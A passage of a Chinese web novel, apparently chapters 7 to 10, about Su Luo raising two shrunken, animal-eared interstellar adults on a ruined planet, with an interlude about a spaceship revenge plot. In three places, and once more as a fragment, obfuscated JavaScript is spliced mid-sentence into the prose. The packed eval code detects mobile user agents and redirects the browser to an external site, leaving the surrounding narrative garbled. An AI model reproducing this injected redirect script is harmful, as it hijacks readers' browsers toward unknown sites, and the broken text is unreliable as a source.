猫尾巴？谁？卡西吗？ ……行吧，这也是个好消息。 系统：【你希望果实只有充饥功能吗？】 苏落想到刚才问系统有关卡西的情况，系统一点不回复，现在又听到系统一句话略过卡西，思索着系统是不是不太待见卡西。 ……不过也没有彻底不管。 她边想边问：【这是我希望就能改变的？】 【当然。】系统平平地说，【如你需要，我会输入指令，更改果实功能。】 也是，她做不到，系统可以帮忙。 就是这只系统不像是科技侧的，是偏魔法侧的吧。 苏落在心里吐槽了会儿，谨慎地问改变是否永久，是否可以撤销，系统说随时可以切换，她就让系统取消掉其它功能。 【哦对了，果子含有人体生长的各种营养吧？有就行。还有，你能不能每天定时上线，我好和你联系？】虽然现在身边有人陪，但苏落更怀念能随时和系统聊天的时候。 唠叨间，系统安静下来，就在苏落怀疑系统又掉线时，它在苏落脑海里留下一行放大的字。 【请不要再自找麻烦！】 【？】 都不说随时了，她想和系统定时联系还成自找麻烦了？ 无论苏落再怎么问，系统全然没了反应。 苏落闭上眼深深叹气，烦闷的情绪溢于言表。 “……对不起。” 手背传来短暂的温暖和湿意，苏落睁开眼，看见卡西汗涔涔的脸上，一双红色眸子亮得灼人。 “抱歉让你担心。” 他看着苏落，一字一句，无比郑重地说，“还有，谢谢你。” 这一刻，道歉、感谢的人是莱弗·法卡斯，不再是有几分法卡斯过往经历的伪装后的卡西。 法卡斯承认，他是个多疑冷硬的人，这种特性让他从一介孤儿稳稳当当地走到了如今的位置，更让他在如此剧变下，无法快速相信一个陌生人。 他肩负着整个第七集团军的责任和义务，他也不能相信满身神秘的苏落。 他虚与委蛇，算计频出，和苏落给予的，是哪怕有所保留的关心也相差太多。 可他依然怀疑苏落。 直到吃下那比星际最顶级的精神强化剂效用更强的果实。 法卡斯细细感知肢体，了然地发觉身体素质也更上一步。 他仰头看着满树的果实，有些想笑。 它足以让价格高昂的精神强化剂市场彻底洗牌，它的强化效果兼具精神力和肉-体。 这样效用一骑绝尘的顶尖果实带来的经济收益、声望和人脉关系，比返老还童的人体试验更庞大可观。 因为同时增强精神力和肉-体，基本等同于增加寿命上限，它还更安全、简便，不存在严重的道德伦理相关问题，广阔的前景一目了然。 坐拥如此宝物，苏落会下属于导致他变成如今模样的幕后组织吗？可能性太低太低，基本为零。 苏落是幕后组织的首领？她今天之前根本不清楚树上果实的作用，更对星际不甚了解。 太多太多矛盾的背后，全都指向一种可能—— 他们的相遇没有算计，苏落仅仅是意外救了他。 ……他还真是，做了很多可笑而无用之事。 对不起。 谢谢。 还有，很抱歉。 苏落还在想所谓的“自找麻烦”是什么意思，还哪里来的“再”，一时间没理解男孩感谢她的原因：“为什么谢我？先不说这个，你现在感觉怎么样？” 卡西坐起来：“我感觉很好，请放心。”他看着苏落，神情极其认真，“我要谢谢姐姐，是因为姐姐你送我的果子非常珍贵，非常非常珍贵。它可以扩充人类的精神力容量，还可以强化身体。” 他尽力用苏落能理解的意思形容道，“一颗红色的果子的价格，可以支撑我在的孤儿院经营一千年以上。绿色的果子还会更贵。” 而且效果可以叠加。 苏落：“……” 卡西观察着少女的神色，又说：“我知道以我现在的能力，没办法还钱，但请相信，我会努力挣钱，总有一天会……” “等等。”苏落打断他。 卡西止住声，安静看着神情莫测的少女，等待她的宣判。 苏落看看手边整齐的果实，又抬头看看树梢上丰收的盛况。半晌，她低头问道：“现在人类能活多久？” 不在预料中的问题让卡西微微一愣，他很快说出答案：“现在科技发展很快，理论上说人类可以活到一千岁出头，但因为各种原因，去年调查显示平均寿命是八百七十岁上下。” “一千岁和八百七十岁啊。”苏落喃喃道。 和她的时代平均不到百岁的寿命相比，差了好多。 ……现在距离她的时代，又过了多少年？ 苏落出神地眺望远方，天空明净，一如既往。 她叹了口气，回过神对端正坐着的男孩说：“如果我说不要你还，你接受吗？” 这的确是出意外，苏落怎么也没料到，但…… “你知道我不会接受。”卡西淡淡地笑了笑，“你肯收留我已经很好了，这个太贵重，我不想欠你。” 按卡西的性格，苏落也猜他不会愿意欠她如此大的人情。 但问题是…… 小孩儿是不是有些反常？ 苏落盯着卡西，冷不丁问：“你怎么了？” 虽然男孩一直以来都很稳重，但现在表现得更成熟了！ 卡西不好意思地摸摸脑袋，直面苏落，坦荡地说：“我之前怀疑你绑架我。” 苏落：“…………” 苏落：“？？？” 卡西站起来朝满脸茫然的少女鞠躬：“对不起。” “不是。”苏落试图理清思路，“你为什么觉得是我绑架的你？绑架你干什么？完了你还要把你从水里救出来？多此一举？” 她知道小朋友有点怕她，还担心她丢掉他，但她的态度一直很友善。结果没想到小孩居然是这么想的？ 而且小孩儿你居然说出来了？胆子这么大？ “因为我醒过来只看到了你。” “……” 苏落无言以对，要不是知道没做过，她都有些怀疑自己。 接着她回忆他们的初见，惊觉卡西接受她的速度过快，而且当时卡西只问了怎么回去，根本就没问过她，他是怎么从孤儿院到荒星来的。 ……所以卡西看见她的时候就防备到了这种程度。 那后来…… “我们院附近的生态环境不怎么好，院长、奶奶，还有很多很多来帮忙的哥哥姐姐都和我们说过，要小心陌生人，讲过很多绑小孩的案子，还说过斯德哥尔摩综合征什么的。”卡西耸耸肩，“我有点紧张，所以……” “我问你一个问题。”苏落凝视身高不及他一半的男孩。 卡西规规矩矩地站着。 “你能控制你的耳朵和尾巴吗？” “……”卡西默了，“不能。” “那还行。” “……姐你就想问这个？” “这很重要好不好！” 那些不受控制的身体表征证明了小孩的真实情绪，苏落才不想和一个从头到尾的假人交流。 但说实话，对于卡西的隐瞒和小九九，苏落其实不怎么生气。 换位思考一下，她一个成年人换到卡西的境遇中，她也会有百般思虑。就说没多久前的她和系统，也是来回拉扯了几轮，再加上系统有求于她，她也有求于系统，才相处得比较融洽。 只是她没想到，卡西小小年纪，想法、逻辑没差成年人多少了。 “所以，你是觉得，如果是我绑架你，没必要喂你这么贵的东西？”苏落拎起一颗红色果实问道。 “是的。”卡西坦率地点头。 苏落想说自己前头也不清楚这果子的效果，卡西多少也应该有所察觉。 ……有所察觉，这小孩是不是太过聪明了？ “果实很珍贵，要是让外面的人知道了，他们会来抢的。”卡西仔仔细细地和苏落分析道，“所以我觉得，姐姐你最好从现在起，就努力锻炼身体和精神力，争取把所有想来偷抢的家伙打出去。” 如果系统不能自主切换果实功能，苏落的确需要特别关注这个问题。 但现在情况还好，她托着下巴，语气微妙地问：“那别人不知道，不就可以避免？” 卡西摇头，郑重地说：“如果不提前准备，万一有一天出现意外，再想办法可能就晚了。” 苏落一下子笑出来。 这小孩什么意思，是在提醒她防备他自己？ “还有，”卡西镇定地直视苏落的双眼，“院里还有人在等我，我一定会回去的。” “我保证我会帮你，我保证我不会说出去。” 这是莱弗·法卡斯的承诺。 苏落慢慢地止住笑意，她突然明白系统口中的“再自找麻烦”。 这个小孩，卡西，就是一个超乎她预期的天大麻烦。 不过。 苏落再次笑起来，倾身靠近，抬手捏住卡西的脸颊：“是不是有点紧张？” 卡西说了声是。 苏落叹息：“小小的个头，怎么心思这么重。” 她松开站着不动的男孩，躺在才长出来的草地上，声音很轻，“我不会阻拦你离开，只要你不向外界泄露星球上的任何消息。” “好，谢谢。” 话音刚落，无形的束缚从大地渗透出来，丝丝缕缕般如透明烟雾升起，在温暖的日光和微风中，层层叠叠地缠绕在神情放松下来的男孩身上。 “我们从现在开始怎么样？”男孩什么都没察觉到，十分积极地问。 “？” “开始锻炼啊。”他以一种理所当然的态度说，“没有精神力加持，你身体素质都和我差不多了，我才那么小。” 苏落啼笑皆非。 她们刚才算是坦白局吧？起码算半个。 刚坦白完就成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184513|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这副模样了？ “叫我姐姐。” “……”卡西顿了顿，丝滑开口，“要不然姐姐你教我本地语言，我教你星际通用语？” 苏落：“？？” 卡西：“我猜这颗星球上，可能有还在运作的大型翻译矩阵。” 他在苏落的惊愕中，淡定地说，“虽然我们能互相听懂对方说的话，但其实我们说的不是同一种语言。” 苏落：“………………” “姐姐，你什么时候有空，能带我专门去城市里找些机械、通讯方面的书籍吗？我想学。要是能学会，我可以做小机器人，应该可以帮你清理城市废墟。” 这个卷上天的天才小神童什么时候真的上天？ 眼看卡西还要说话，苏落拿起红色果实往他嘴里塞。 卡西正欲张口，下意识要闪躲，他顿了顿，没动。 咔擦。 果实一如既往的清甜，但它得天独厚的强化效用消失了。 它是苏落在系统处理果实效用后，再从树上摘的。 “好吃吗？”苏落问。 “……好吃。” “好吃那就闭着嘴巴吃。哦对了，以后没有营养液了，你正餐就吃这个。” ** 扎德莫斯航线在星际间是出了名的人流稀少，没多少民用飞船敢驶过其间，究其原因—— “阿诺德，你和在这条航线流窜的星盗合作了，所以这两年你的商船才能安然无恙地通过。” 说话的男人独自站在飞船巨大的观赏窗前，一身白色西服，姿态悠然而笃定。 “死到临头了还说些废话。”被称为阿诺德的男性一挥手，身后的数十名手持槍械的青年男女蜂拥而上，将白西服男子围得严严实实。 “祈祷明天的今天还会有人想起你吧，里奇。”阿诺德露出一抹血腥的笑容，“动手！” “我还以为你想多和我说些话，聊聊前几年被我抢走的几桩生意。”德米特里·里奇无视呼啸而来的子弹，优雅地叹气。 阿诺德看着被挡在半空中的子弹，不怎么意外。 嘁，这狗东西身上全是宝贝。 他仿佛没听到德米特里·里奇的嘲讽，又似乎听到了。 “你们就这点水平？”他大声质问身边的青年男女，表情冷酷，语气冰得能冻死人。 “老板稍等，马上马上。” 来自扎德莫斯航线附近最大星盗团伙的青年人不怀好意地笑笑，指挥同伴把人带上来，“瞧瞧，这是谁？” 被粗鲁推搡过来的女孩眼眶里盈满了泪水，她一看到德米特里·里奇，立刻忍住了呜咽的声音。 星盗一巴掌拍在女孩脸上：“哭啊，怎么不哭了？” “住手！”德米特里·里奇大喝。 女孩依旧一声不吭，刻意避开德米特里的视线，只是用仇恨的目光注视面前的每一个陌生人。 “看看，你哥哥心疼你了。”星盗笑嘻嘻地掰过女孩的脸，正对眉头紧锁的德米特里，说，“以为把小妹妹藏在另一艘飞船上，开的远远的，就能躲过我们的搜索？哈，做梦！整个扎德莫斯航线都在我们的掌控中！” “够了。”阿诺德不耐烦合作人故意磨磨唧唧，他走过来，粗暴地捏住女孩纤细的脖颈，放在身前，警惕地看向德米特里，“要么，我杀了她，要么，你……” “要么，你死。” 德米特里·里奇松开手中的按钮，看着心脏、大脑被暴起的两只细弱手臂刺穿的阿诺德，大笑起来，笑得畅快极了，“昔日你是怎么派人对待我父母，现在我和妹妹就如何对你！” 笑了半天，德米特里才停下来，看着阿诺德倒在血泊里、呼吸消失，若无其事地对面露迟疑的星盗们说：“你们的合作伙伴死了，我和你们也就没有直接恩怨了吧？” “您有兴趣接手……” “还不走吗？”德米特里漠然地说，“我之前报过警，巡查队的人应该快来了。” 权衡利弊之后，星盗如潮水般离去，只留下孤身一人的德米特里，和双臂与躯体分离开的女孩，或者说，外表是德米特里妹妹的机械替身。 “看到了吗？”德米特里走过去，点开终端视讯，望向一直用语音和他联络的妹妹，他真正精心保护的妹妹。 “最后一个，太好了。”妹妹的声音很轻。 德米特里笑着说：“是啊，最后一个，”他低声说，“以后，我们可以开启新生活了。” 妹妹安静了会儿，问：“哥，那些星盗不处理一下？” 德米特里无所谓地对妹妹说出最新秘密：“扎德莫斯航线附近不知道出了什么问题，帝国军部还有皇室隐秘地派了好几支舰队驻守。接到警报后，他们绝对高度警惕，会派出一部分人手来探查情报。” 妹妹了然：“他们会和星盗撞上。” 德米特里重新站在观景窗前：“如此，完美落幕，之后……” 他突然发现窗外几点愈发明亮的光点在朝他靠近。 那是什么？哪儿的飞船？ 德米特里眯起眼睛，试图调用飞船辅助系统辨认，但辅助系统在之前的波折中损坏。 “怎么了哥？” 德米特里没接话，余光中，他看到一抹淡灰色的气体攀附在观景窗附近，而后…… “哥？”妹妹紧张起来，“你为什么把视讯功能关了？你那边怎么了？” 当德米特里看到飞船外壳被快速腐蚀，他掉头就跑：“不准过来，听到没有！” 妹妹急疯了，她明明两个小时前才离开哥哥的飞船，只是两个小时，怎么会出现棘手到哥哥直接关视讯的境况！？ “哥你在说什么胡话？哥……” 语音联络也被人为挂断。 “……哥？” 8. 第 8 章 苏落的一天，从清晨早起开始，锻炼、清理废城、学习、寻物，诸多任务安排的满满当当。卡西的时间安排和苏落差不多，还会抽时间来捣鼓各种收集来的小零件。 等到一天忙完回到小院，天色差不多黑下来，苏落会继续一点点向外扩建院子，卡西则负责浇水、查看院内生长状态，以及仔细地种下新种子，包括种子处理，土地准备等等。 苏落基本把种地相关的事务都交给了卡西。 虽然觉得种子没那么娇贵，但卡西自愿帮忙，说精心侍弄有概率增加植物收成，她就无所谓地同意了。 卡西每次浇水时，看着混合了红果汁液的水桶，一边洒水，一边面无表情地想，呵，确实一点也不娇贵。 他放好水盆，打开储水罐看了看，自然地转头问苏落：“水快用完了，明天早上我去取？” “我去吧。”苏落伸了个懒腰，“你那个小短腿，得走到什么时候。” 第二天天不亮，苏落早早起来，不意外地和同样提前起床的卡西打了个招呼，打着哈欠向溪水方向走去。 路上，苏落看到青绿小草到处生长，还看到地面上冒出了细小枝条，与十天前荒芜的景象形成鲜明对比。 苏落心情很好，脚步也很轻盈，直到她看到熟悉的溪水边多了个陌生的人影。 等等。 她下意识停下来，整个人清醒了。 那是个人吧？小孩子？又来？ 苏落满脸震惊地跑上前，用精神力托住小孩身体，把他从水里捞上来。 似曾相识的一幕，有那么一瞬间，苏落以为自己回到了捡回卡西的那天。她看看干净清爽的自己，又看看被精神力托住的脸生小孩，长长地、深深地叹气。 自己变强了是好事，但这小孩……不会也是个大-麻烦吧？ 苏落心累地回到小院，刚到篱笆附近，就看到熟悉的身影。 “你回来了……他是？”卡西这两天刚自己做了个洒水壶，他抱着洒水壶，凝眉注视苏落怀里昏迷的小孩，若有所思。 “我在发现你的地方发现的他，”苏落把小孩放在洗漱间的地上，和跟进来的卡西讨论道，“你说，那条溪水附近会不会有个空间跃迁点？” 搞的和刷新点似的，没过几天就能在那儿发现新小孩。 “不知道，我有天下午沿着溪水走了好久，什么都没发现。” 卡西的目光在昏迷男孩的头顶停留了一会儿，说，“我给他擦一擦，换身衣服。” 苏落无语地看了卡西一眼，也担心昏迷男孩生病，很快退出洗漱间。 卡西上下打量昏迷男孩片刻，利落地脱下对方沾水的衣物，然后用毛巾裹住对方。 “醒了就自己来，干净的衣服在这里。”他平静地站到一边。 话音落下，地板上的男孩依然闭着眼睛，似乎仍处于无知无觉的昏迷中。 卡西无声地笑了笑，转过身，不紧不慢地洗手，再推门走出去。 “换好了？”苏落正躺在躺椅上，撑着脸颊思考这次系统能不能给个具体解释。 “没有，他醒了。”卡西走过去，轻轻拉住苏落的小臂，“今天的锻体操还没做。” “你刚才没做？” “等你一起。” “行吧。”苏落起身，随口说，“以后里面那个孩子也要早起锻炼。” 卡西头顶，纯白色的耳朵敏锐地动了动。 苏落看出卡西的疑惑，她表情正经，嘴上说：“当时我一拉住你，你就醒了，这孩子被我一路托回来，现在才醒，身体素质堪忧，得加强。” 新小孩不行啊，不行就得上强度，上完强度说不定能少折腾些。 卡西回想了会儿，点点头赞同道：“他有很大上升空间。” 以他的眼力看，那人的身体没有经过任何系统性训练，精神力也处于这个年纪的一般水平。 当然，是身体所处的年龄段 隔着一道木门，德米特里·里奇听着外面两人把他安排上了，嘴角抽搐得厉害。 昏迷前他不是在星际飞船上？妹妹没来吧？他被绑到哪儿了？刚才那个白发男孩脱掉他的衣服，是不是把他携带的工具都拿走了？那个女人是谁？还有…… 德米特里裹着大毛巾，坐在一盆清水前面，神情扭曲。 他为什么变小了？头上那对圆圆灰色耳朵又是从哪儿来的！？ 他深呼吸一口，伸出短短的五根指头，用力拽了拽莫名其妙出现的耳朵。 嘶。 德米特里疼得眼冒金星。 一个人在洗漱间折腾半天，德米特里不得不认清事实，他没做梦，变化都是真的。 紧闭良久的门扉终于开启。 “终于出来了。” 苏落早就和卡西锻炼完，现在正在熟练地削木头。 又多一人，干脆重新搭一间大卧室给两小孩住，仓库改成书房。 “这是哪里？”新来的小孩看上去有些忐忑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡西冷不丁开口：“聊聊你的耳朵？” 迪米呼吸一滞，耳朵不受控制地开始炸毛。 “果然。”卡西了然地放下尾巴，若无其事地招呼迪米，“我听到你肚子在叫，跟我来吃东西。” 迪米：……？ 这就聊完了？？？ 9. 第 9 章 见卡西当真拿出两个红色果实，迪米立刻反应过来，对方已经得到了想要的信息。 他嘴上和卡西打哈哈，心脏沉甸甸的。 主动找他聊一聊，匪夷所思的缩水与新耳朵，对方的尾巴…… 他刚才暴露了什么？ 迪米猛然想到，如果从孩子出生起，他/她不是人耳，只有如现在这般的兽耳，那么他/她会对此习以为常，不会提起耳朵就表现得不正常。 啧，放松，放轻松，不能绷太紧，想要顺利回去，得多一些耐心。 而卡西拿这点来试探他……所以，卡西和他是同样的受害者？ 突然涌上心头的猜测让迪米心跳快了一瞬，他放慢呼吸，随手接过红果，面上好似不经意般问道：“朋友，你知道什么养护耳朵的办法吗？” 如果猜测是真，他不介意和卡西交个朋友。 养护？过去从未有过的器官，谈何养护？那是异常的体现，是无法适应的存在，是该被抹去的东西。 卡西漠然地想。 他同样明白，自称迪米的人看懂了他关于耳朵的试探，更看懂了他深埋的疑问—— 你不是孩童，对吧。 卡西淡淡地笑了笑：“不清楚。” 在迪米骤然亮起的眼神中，卡西表情依旧很淡：“好了，吃饭吧。” 迪米欣喜的眼神一凝，他高高挑起眉毛，在唯一的成年人面前伪装出来的乖顺消失得干干净净。 “这个？”他抬起手，晃晃红色果实，丝毫不掩饰自己的疑问，“你确定？” 确定要吃？确定现在先说吃饭问题？ 蕴含丰富内容的疑问句无法改变卡西的态度，他平静地对迪米说：“目前周围能找到的食物就只有这一种，想要活下去，只能食用它。” 迪米的脸活像打翻了的调色板，五颜六色的，头顶的灰耳朵更是耷拉下来，没精打采。 不是，前一刻他还在想，到底是撞黑洞撞未知宇宙奇观，还是星际里谁有那个胆子，做人体试验做到他头上，整的他身体缩水还长耳朵。 结果现在告诉他，他不仅遇到了无法解释原因的身体变化，还掉到了生存环境极差的荒星上？活着都是问题？ 有没有搞错？哪怕是过去他和妹妹最艰难的日子，也没落到这个地步！ 卡西不等迪米自我消化完，兀自道：“吃完记得来前院认字，我们需要在这里生活一段时间，识字方便一点。” 说完，他转身就走。 迪米眼神一沉，他没有试图喊住卡西，而是冷不丁问道：“你很希望我吃下这个果实？” 他捏起红色果实的梗尖，红果在空中轻轻晃动，似乎下一秒就会掉在地上，摔成一滩破碎物。 卡西头也不回：“摔了你自己处理。” 自己处理么？ 迪米往后一靠，靠在还能闻到木头清香的篱笆上，把红果当球，随意地上下抛，思考卡西的真实立场。 卡西似乎还挺习惯住在这里？ 是暂时的同行者，但不是朋友啊……呵。 还有，卡西在对他安排什么呢？又在彰显什么？小小的领导权？小小的控制权？ 迪米冷笑起来，毫不犹豫地松开手，任果实坠地。 他倒要看看，所谓的“生活一段时间”究竟是哪样，到底会有多久。 “姐姐，”迪米哒哒跑出来，一脸不好意思地找到苏落，“我手小，抱不住两个，不小心把果子掉地上了。” 苏落忍不住看了眼迪米的手掌，藕节似的白嫩，大小和卡西差不多。 “以后多练练。”她铁石心肠地说。 在迪米的唉声中，苏落又补充了一句：“摔烂了吗？烂了？行。你去洗漱间拿个盆，把摔烂的果子放到盆里。” 她打量了下迪米的细胳膊细腿，说，“力气够的话，试试能不能挤出果实的汁液，不能的话就算了，等会儿我再给你拿干净的果子。” 迪米睁大眼睛：“可是我好饿呀，可以先吃东西吗？还有，只能吃果子吗？姐姐有没有其它能吃的呀？” 男孩的声音带着这个年龄特有的稚嫩甜美，甜滋滋得仿佛能浸润所有成年人的心脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184515|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 冷冰冰的苏落冷冷地拒绝：“没有其它吃的。还有你犯了错，浪费了食物，需要先纠正这个错误。” 她知道，其实这不算什么事。 但很遗憾，苏落已经牢牢地将麻烦二字贴在迪米脑门上。 有些幺蛾子，需要从源头掐灭。 迪米不高兴地嘟起嘴，余光扫过一旁拿着小锄头埋头翻地的卡西，眼底一片晦涩。 “知道啦。”迪米嘟嘟囔囔地折回去收拾自己弄出来的烂果子。 苏落目送迪米不情不愿的样子消失，转过头，眼神奇异地看了眼已经走到她旁边的卡西。 “我猜得很准，对吧。”卡西表情平静。 “挺准的，你的预防针打得挺好。”苏落很是感慨。 卡西一结束和迪米的聊天，转过头就告诉苏落，他觉得迪米可能饿了，拿了两个原本用来榨汁给地里浇水的红果给迪米，但是他觉得迪米可能不愿意吃。 苏落刚听到卡西的陈述时，心情微妙得不知该怎么形容。 卡西拿迪米试验红果的效果，试验现在人类第一次食用红果会不会有额外效果。 耳听为虚眼见为实，也是对苏落的试探，但卡西非常干脆地直接地告诉了苏落他的想法与试探，还告诉了苏落果实的来源，这又是一种与之相反的坦率。 当然，也有可能是因为卡西知道，他无法在这点上隐瞒苏落。 还有，这件事基本上清晰地透露出卡西对迪米态度平平，卡西也将这点展现给了苏落。 苏落相信，以卡西刚来时的表现，哄一个能听进话的娇气孩子，轻松简单。 ……她居然相信卡西能轻而易举地哄和他一个年龄的小孩。 这孩子早熟得让她心惊。 一时间苏落感慨万千，没注意到屋子墙角露出的半个身影。 卡西站的方向刚好朝向屋子，他看得一清二楚，清楚迪米是故意站出来半个身位。 他也是。 卡西和凝望他的迪米对上视线，表情不变，而迪米冲他露出一个大大的笑容。 10. 第 10 章 处理、打扫完地上的浆果和痕迹，迪米端着盆子过来找苏落，说他力气小压不动浆果。苏落二话没说，拿出两个干净的果子，告诉迪米洗干净再吃，然后自己动手压榨出汁液，再加水稀释，今晚浇院子的水就有了。 ……不愧是物资匮乏的荒星。 迪米表情不变，心里嫌弃。他拿着红果转身进洗漱间，再出来时，果子没了。 “味道不错吧？”苏落没有直接问迪米到底吃没吃，她自然地和迪米聊了两句红果的味道和来源，然后开始上课认字，也只有认字，现在想练口语也练不了。 几页昨天刚从废城里找出来的书籍作为范本，苏落读一遍，卡西先理解意思，再用小金属条在地上写出对应的星际通用文字，然后他和苏落对照着读一遍，确认字都对应后，再记下来。 迪米今天才加入认识本地文字的课程，他旁观了一会儿，没多久就能顺利跟上苏落和卡西，遇到不熟悉的字还会反复读几遍。 “哇，这样识字好快好方便。”他语气感叹，并明智地咽下“怎么不用纸张”几个字。 卡西抬起头，安静地看了迪米一会儿，什么都没说，继续在地上写字。 苏落原本专心地低着头辨认全然陌生的星际通用语，闻言直言不讳地说：“方便才好，你们不是想联系上外边？熟悉环境后，可以自己想办法做联络装置。” 就是现在的孩子能力有点超标，一个两个还都是这样。 迪米略感意外，这就是苏落之前说的“自己找答案”？手工搓通讯装置？ 苏落的态度够坦诚，可是完成的难度太高了吧，哪怕是他，也需要花费很多时间和精力，对一般人而言更是如此。 是哪个非一般人想出来这个方法的？ “卡西你能自己做联络器吗？好厉害啊。”迪米笑容灿烂。 先不提信号接收器范围等相关问题，只说想要发送信息，和从零开始手搓相比，当然是找到现成的装置后改造更快捷。 这么简单的逻辑你想不到？ 卡西不着痕迹地瞥了苏落一眼，略显冷淡地说：“我们都想和外界取得联系，如果你有更好的方法，尽管说。” 苏落终于舍得将目光上移：“……” 她刚才说的哪里有问题吗？感觉气氛有点怪，是错觉吗？ 迪米：“我刚来，知道什么呀，还是你了解的多，能给我讲讲你打算做哪种联络器吗？” 卡西不置可否：“你先把本地的字认全再说。” 迪米咋舌道：“哎？这挺容易，一天就能搞定。难道你花了很久？啊我懂了，是你拖了姐姐后腿。要是我和姐姐一起学，早就学完了。” 苏落：“……” 有被无差别扫射。还有，不是错觉。两小孩对上了？ 苏落强硬地将识字课扳回正轨。 等对完这几页新的，苏落让卡西自由活动，转头拿出昨天以前找回来的同样不完整的书籍，单独对迪米念。 如迪米说的那样，这对他来说很简单，没花太多时间就顺利完成。 “我们现在有的书都在这里了。”苏落小心收好它们，耐心地对迪米说，“以后再找到新的书页，可以一起看，也可以我单独和你念。你的语言天赋非常好，我相信没过多久你就能完全掌握它们。” 苏落虽然心里觉得俩小孩都是麻烦，但她面上还是要端一下水，行动上该照顾的也要照顾一下。 都是孩子。 迪米没第一时间回话，他转头看了一圈，确认卡西从苏落宣布自由活动后真的离开了，才抿着嘴，垂着脑袋问：“抱歉，我和卡西相处不来，我没忍住……给姐姐添麻烦了。” 苏落有点头疼，她可不擅长调停未成年小孩之间的矛盾。 “没有麻烦。如果你不想和卡西说话，那就不说。”苏落顾及迪米刚来到陌生环境，情绪本来就不好，决定暂时顺着他说。 “但是，”她正色道，“可以无视，可以吵架，但不可以做其他的，好吗？” 迪米乖乖点头：“知道了。” 苏落松了口气。 只要卡西和迪米不对对方做过分的事，她相信两小孩之间一定会破冰。 整个星球，能互相聊天的就她们三个人，同龄的就俩小孩，只要不是过分内向，他们怎么着也会在一天天的日常生活中慢慢聊开，哪怕互相别苗头，终归也是在交流。 迪米低垂的目光里堆满了思索。 苏落告诉迪米每天的日程安排，说了在这里生活需要注意的地方，接着带他熟悉附近的路。 “这条最宽敞的路直通城市中央的大树。”苏落抱起迪米，快速跑过废城，“我们吃的果实都是从那颗树上摘下来的。” 迪米坐在苏落胳膊上，跟性格相对内敛、与苏落保持一定距离的卡西不一样，他只在刚被抱起来的时候瞪大了一会儿眼睛，接着很快放松下来，主动伸出肉乎乎的小手臂圈住苏落的脖子。 “这里和我家完全不一样哎。”他好奇地四处看看，又面露担忧，“那要是果子吃完了，我们还能吃什么啊？” 暖融融的热意从皮肤外渗透进来，苏落略感不自在地抬了抬下巴，随口说：“你见到了就知道，吃不完的。” 系统认证，值得相信。 迪米还想说吃不完也可能天气冷果子掉完，一颗参天巨树映入眼帘，翠绿与鲜红，古意与生机，在此刻完美结合。 自然的气息扑面而来，缓缓消减他心底的焦躁与阴郁。 “……好壮观。” 这是迪米醒来后，第一次生出纯粹的正面情绪。 哪怕以德米特里·里奇的目光来看，这颗哪哪儿都落后的星球居然长出了一处能上星际旅游风景百强榜的景致。 但如果想进一步开发这里的旅游潜力，得先加入星际，连入星网。 谁真的想在鸟不拉屎的地方生活？ 烦闷紧随其后，却让迪米眼睛微亮。 苏落安静又愉快地注视着愈发庞大的巨树，在迪米回过神前笑着说：“我带你去上面看看。” 迪米瞅瞅苏落，又仰头瞅瞅快连接天际的巨树。 “上面风景很好。” 苏落抱着迪米走在她亲手搭建的台阶上，右手边是灰褐色的树干，左手边是没有任何防护栏的高空，“想再上来一定要找我，不可以自己爬，太危险。” 谁想爬这种安全性约等于零的悬空台阶！？ 迪米眼睁睁地看着她们离地面越来越远，心里还怀疑过，苏落带他上来是不是想用这种方法杀了他。 他现在这么小，工具也没了，掉下去肯定会死。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184516|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >直到她们站在无数枝丫分枝中心，苏落也没有放下迪米。 “看吧。”苏落两只手抓着迪米的衣服，声音很轻。 耀眼的恒星高悬天空，点缀在一片碧蓝中。明明花了几十分钟才上来，这里距离地面好几千米，自然流动的空气依然充盈清新。 而距离地面远了，那些荒废的人类建筑变成一丛丛不起眼的小点，似乎轻轻一跃，就能跨过去。 更远的地方，是浅绿的土地，高耸的山川，潺潺的河流，是一切的未知和向往，是没有人烟的世界。 迪米忽的抓住领口，无所顾忌地行走星空、从未有过恐高症状的他第一次感觉到轻微的眩晕。 “这里……”他的声音很低。 “想要见识更多收获更多，那就努力吧。”苏落这一刻的神情是奇异般的平静。 从树上下来，迪米坐在地上思考了一会儿，和苏落打过招呼，跑进路边的建筑群，很快消失不见。 苏落耸耸肩，背对迪米离开的方向，继续清理城市。 “你果然在附近。”迪米没有深入建筑群，沿着路往暂住的方向走了好一会儿，了然地看见卡西抱着某样东西站在一旁。 